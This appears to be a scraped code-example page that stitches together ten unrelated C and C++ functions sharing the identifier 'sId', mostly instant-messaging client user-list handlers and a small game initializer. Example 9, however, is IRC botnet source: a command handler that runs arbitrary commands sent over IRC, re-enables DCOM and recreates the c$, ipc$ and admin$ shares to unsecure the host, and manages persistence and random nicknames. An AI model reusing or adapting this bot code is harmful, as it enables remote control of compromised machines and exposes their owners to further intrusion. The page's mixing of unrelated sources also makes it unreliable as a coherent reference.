Exemplo n.º 1
0
void UserListModule_Impl::_userLineStatusResponse(CImPdu* pdu)
{
	util::TTAutoLock lock(&m_lock);
	CImPduClientFriendNotify* plineStatusNotify = (CImPduClientFriendNotify*)pdu;
	std::string sId(plineStatusNotify->GetIdUrl(), plineStatusNotify->GetIdLen());
	module::UserInfoEntityMap::iterator iter = m_mapUsers.find(sId);
	if (iter == m_mapUsers.end())
		return;
	iter->second.onlineState = plineStatusNotify->GetStatus();
	logic::GetLogic()->asynNotifyObserver(module::KEY_USERLIST_USERLINESTATE,sId);
}
Exemplo n.º 2
0
void SessionModule_Impl::_sessionMsgUnreadCntResponse(CImPdu* pdu)
{
	CImPduClientUnreadMsgCntResponse* pduOfflineMsgCnt = (CImPduClientUnreadMsgCntResponse*)pdu;
	unread_info_t* pList = pduOfflineMsgCnt->GetUnreadList();
	for (UInt32 i = 0; i < pduOfflineMsgCnt->GetUnreadCnt(); ++i)
	{
		std::string sId(pList[i].id_url, pList[i].id_len);
		//直接开启获取具体离线消息的task
		logic::GetLogic()->pushBackOperationWithLambda(
			[=]()
		{
			CImPduClientUnreadMsgRequest pduMsgData(sId.c_str());
			logic::getTcpClientModule()->sendPacket(&pduMsgData);
		}
		);
	}
}
Exemplo n.º 3
0
void UserListModule_Impl::_allUserlistLineStatusResponse(CImPdu* pdu)
{
	util::TTAutoLock lock(&m_lock);
	CImPduClientOnlineFriendList* pList = (CImPduClientOnlineFriendList*)pdu;
	client_stat_t* pSidList = pList->GetFriendStatList();
	for (UInt32 i = 0; i < pList->GetFriendCnt(); ++i)
	{
		std::string sId(pSidList[i].id_url, pSidList[i].id_len);
		//更新在线状态
		module::UserInfoEntityMap::iterator iter = m_mapUsers.find(sId);
		if (iter != m_mapUsers.end())
		{
			iter->second.onlineState= pSidList[i].status;
		}
	}

	logic::GetLogic()->asynNotifyObserver(module::KEY_USERLIST_ALLUSERLINESTATE);
}
Exemplo n.º 4
0
Space * space_ini()
{
    int   i;
    Space *s;
    s = (Space *) malloc(sizeof(Space));
    if (!s)
        return NULL;
    sId(s)      = -1;
    sDesc(s)    = NULL;
    lDesc(s)    = NULL;
    light(s)    = FALSE;
    isLocked(s) = FALSE;
    map(s)      = NULL;
    rows(s)     = -1;
    cols(s)     = -1;
    numdoors(s) = -1;
    doors(s)    = NULL;
    return s;
}
Exemplo n.º 5
0
Space * space_ini(){
	int i;
	Space *s;
	s = (Space *) malloc (sizeof(Space));
	if(!s)
		return NULL;
	sId(s) = -1;
	for(i = 0; i < 8; i++)
		neighbour(s)[i] = -1;
	sDesc(s) = NULL;
	lDesc(s) = NULL;
	light(s) = FALSE;
	isLocked(s) = FALSE;
	map(s) = NULL;
	rows(s) = -1;
	cols(s) = -1;
	return s;

}
Exemplo n.º 6
0
void UserListModule_Impl::_recentlistResponse(CImPdu* pdu)//最近联系人信息
{
	CImPduClientFriendList* pResp = (CImPduClientFriendList*)pdu;
	client_user_info_t* pUserInfos = pResp->GetFriendList();
	std::string myUserId = module::getSysConfigModule()->userID();

	for (UInt32 i = 0; i < pResp->GetFriendCnt(); ++i)
	{
		std::string sId(pUserInfos[i].id_url, pUserInfos[i].id_len);
		if (sId != myUserId)
		{
			m_vecUsers.push_back(sId);
		}
		{
			util::TTAutoLock lock(&m_lock);
			auto iterUserInfo = m_mapUsers.find(sId);
			if (iterUserInfo != m_mapUsers.end())
			{
				//已经在获取了该人员的信息,更新下时间
				iterUserInfo->second.updated = pUserInfos[i].user_updated;
			}
			else
			{
				module::UserInfoEntity userInfo;
				userInfo.sId = sId;
				userInfo.updated = pUserInfos[i].user_updated;
				{
					util::TTAutoLock lock(&m_lock);
					m_mapUsers[sId] = userInfo;
				}
			}
		}
	}

	m_UserListGetTime++;
	if (2 == m_UserListGetTime)
	{
		m_UserListGetTime = 0;
		logic::GetLogic()->asynNotifyObserver(module::KEY_USERLIST_UPDATE_RECENTLISTLIST);
	}
}
Exemplo n.º 7
0
void UserListModule_Impl::_newUserListInfoResponse(CImPdu* pdu)
{
	CImPduClientUserInfoResponse* pUserInfoResp = (CImPduClientUserInfoResponse*)pdu;
	client_user_info_t* pUserInfoList = pUserInfoResp->GetUserInfoList();
	for (UInt32 i = 0; i < pUserInfoResp->GetUserCnt(); ++i)
	{
		client_user_info_t& info = pUserInfoList[i];
		std::string sId(info.id_url, info.id_len);
		module::UserInfoEntity userInfo;
		BOOL bAddNewUser = FALSE;
		if (!getUserInfoBySId(sId, userInfo))
			bAddNewUser = TRUE;
		if (info.name_len)
		{
			std::string sTemp(info.name, info.name_len);
			userInfo.csName = util::stringToCString(sTemp);
		}
		if (info.nick_name_len)
		{
			std::string sTemp(info.nick_name, info.nick_name_len);
			userInfo.csNickName = util::stringToCString(sTemp);
		}
		userInfo.avatarUrl = string(info.avatar_url, info.avatar_len);
		userInfo.sId = sId;
		userInfo.dId = string(info.depart_id_url, info.depart_id_len);
		if (bAddNewUser)
		{
			tcpGetUserOnlieStatus(sId);//请求该用户的在线状态
			//对号入座部门信息
			_pushUserIdToDepartment(sId, userInfo.dId);
			util::TTAutoLock lock(&m_lock);
			m_mapUsers[sId] = userInfo;
			logic::GetLogic()->asynNotifyObserver(module::KEY_USERLIST_UPDATE_NEWUSESADDED);
		}
	}
}
Exemplo n.º 8
0
int space_getId(Space *s)
{
    if (!s)
        return -1;
    return sId(s);
}
Exemplo n.º 9
0
bool CBot::HandleCommand(CMessage *pMsg)
{	
	if(!pMsg->sCmd.Compare("bot.remove") || !pMsg->sCmd.Compare("bot.removeallbut")) {
		CString sId(pMsg->sChatString.Token(1, " ", true));
		if(!pMsg->sCmd.Compare("bot.removeallbut")) if(!sId.Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false;
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "removing bot...", pMsg->sReplyTo);
#ifdef WIN32
		/// should unsecure system as remove bot to allow recycling //
		
		// Set EnableDCOM to "Y"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);

		// UnSecure Shares
		Execute("net.exe", "net share c$=c:\\");
		Execute("net.exe", "net share d$=d:\\");
		Execute("net.exe", "net share e$=e:\\");
		Execute("net.exe", "net share ipc$");
		Execute("net.exe", "net share admin$");

		// Delete Autostart
		if(g_pMainCtrl->m_cBot.as_enabled.bValue)
			g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue);
		if(g_pMainCtrl->m_cBot.as_service.bValue)
			g_pMainCtrl->m_cInstaller.ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue);
#endif
		g_pMainCtrl->m_cInstaller.Uninstall();
		g_pMainCtrl->m_cIRC.m_bRunning=false; g_pMainCtrl->m_bRunning=false; }

	else if(!pMsg->sCmd.Compare("bot.execute")) {
		CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1;
#ifdef WIN32
		CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables
		sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
		memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo);
		if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE;
		if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
			g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#else
		CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr());
		if(system(sCmdBuf.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#endif
		return true; }

	else if(!pMsg->sCmd.Compare("bot.open")) {
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
#ifdef WIN32
		bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32;
#else
		bRet=system(sText.CStr())>0;
#endif
		if(bRet) return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str());
		else return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't open file.", pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.dns")) {
		CString sReply; hostent *pHostent=NULL; in_addr iaddr;
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr());
	
		if(addr!=INADDR_NONE) {
			pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET);
			if(pHostent) {
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name);
				return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); }
		} else {
			pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr());
			if(pHostent) {
				iaddr=*((in_addr*)*pHostent->h_addr_list);
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr));
				return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
		
		if(!pHostent) {
			sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr());
			return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }

	else if(!pMsg->sCmd.Compare("bot.about")) {
		CString sReplyBuf; sReplyBuf.Format("%s", g_pMainCtrl->m_sNameVerStr.CStr());
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.id")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.nick")) {
		g_pMainCtrl->m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr());
		g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", g_pMainCtrl->m_sUserName.CStr());
		return true; }

	else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) {
		g_pMainCtrl->m_cIRC.m_bRunning=false; return true; }

	else if(!pMsg->sCmd.Compare("bot.sysinfo")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.longuptime")) {
		int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7;
		CString sUptime=LongUptime(iDays);
		if(sUptime.Compare("")) {
			g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				sUptime.Str(), pMsg->sReplyTo.Str()); }
		return true; }

	else if(!pMsg->sCmd.Compare("bot.status")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, Status().Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.rndnick")) {
		CString sRndNick=RndNick(si_nickprefix.sValue.CStr());
		g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr());
		g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr());
		return true; }

	else if(!pMsg->sCmd.Compare("bot.flushdns")) {
#ifdef WIN32
		Execute("ipconfig.exe", "/flushdns");
#else
		Execute("nscd", "-i hosts");
#endif // WIN32
		return true; }

	else if(!pMsg->sCmd.Compare("bot.secure")) {	
#ifdef WIN32
		// Set EnableDCOM to "N"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);

		// Secure Shares
		system("net share c$ /delete /y");
		system("net share d$ /delete /y");
		system("net share ipc$ /delete /y");
		system("net share admin$ /delete /y");

		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Bot Secured", pMsg->sReplyTo.Str());

#endif
		return true; }


	else if(!pMsg->sCmd.Compare("bot.unsecure")) {	
#ifdef WIN32
		// Set EnableDCOM to "Y"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);

		// UnSecure Shares
		system("net share c$=c:\\");
		system("net share d$=d:\\");
		system("net share e$=e:\\");
		system("net share ipc$");
		system("net share admin$");

		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Bot UnSecured", pMsg->sReplyTo.Str());
#endif

		return true; }




	
	else if(!pMsg->sCmd.Compare("bot.command")) {	
#ifdef WIN32
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
		CString sReplyBuf; sReplyBuf.Format("command (%s) executed.", sText.CStr());

		if(system(sText.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute command.", pMsg->sReplyTo.Str()); return false; }
		else { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; }
#endif
		return true; }


	return false; }
Exemplo n.º 10
0
void UserListModule_Impl::_allUserlistResponse(CImPdu* pdu)
{
	CImPduClientUserInfoResponse* pResp = (CImPduClientUserInfoResponse*)pdu;
	client_user_info_t* pUserInfos = pResp->GetUserInfoList();
	for (UInt32 i = 0; i < pResp->GetUserCnt(); ++i)
	{
		std::string sId(pUserInfos[i].id_url, pUserInfos[i].id_len);

		module::UserInfoEntity userInfo;
		userInfo.sId = sId;
		if (pUserInfos[i].name_len)
		{
			std::string sTemp(pUserInfos[i].name, pUserInfos[i].name_len);
			userInfo.csName = util::stringToCString(sTemp);
		}
		else
		{
			APP_LOG(LOG_DEBUG, _T("pUserInfos[i].name_len = 0"));
		}
		if (pUserInfos[i].nick_name_len)
		{
			std::string sTemp(pUserInfos[i].nick_name, pUserInfos[i].nick_name_len);
			userInfo.csNickName = util::stringToCString(sTemp);
		}
		else
		{
			APP_LOG(LOG_DEBUG,_T("pUserInfos[i].nick_name_len = 0"));
		}
		userInfo.avatarUrl = string(pUserInfos[i].avatar_url, pUserInfos[i].avatar_len);
		userInfo.dId = string(pUserInfos[i].depart_id_url, pUserInfos[i].depart_id_len);
		userInfo.dId = _makeDepartmentId(userInfo.dId);
		//对号入座部门信息
		_pushUserIdToDepartment(sId, userInfo.dId);
		{
			util::TTAutoLock lock(&m_lock);
			auto iterUserInfo = m_mapUsers.find(sId);
			if (iterUserInfo == m_mapUsers.end())
			{
				m_mapUsers[sId] = userInfo;
			}
			else
			{
				//不能覆盖时间
				iterUserInfo->second.csName = userInfo.csName;
				iterUserInfo->second.csNickName = userInfo.csNickName;
				iterUserInfo->second.avatarUrl = userInfo.avatarUrl;
				iterUserInfo->second.dId = userInfo.dId;
			}

		}
	}
	logic::GetLogic()->asynNotifyObserver(module::KEY_USERLIST_UPDATE_DEPARTMENTLIST);

	m_UserListGetTime++;
	if (2 == m_UserListGetTime)
	{
		m_UserListGetTime = 0;
		logic::GetLogic()->asynNotifyObserver(module::KEY_USERLIST_UPDATE_RECENTLISTLIST);
	}

	//下载所有用户的头像
	_downloadAllUserAvatarImg();
}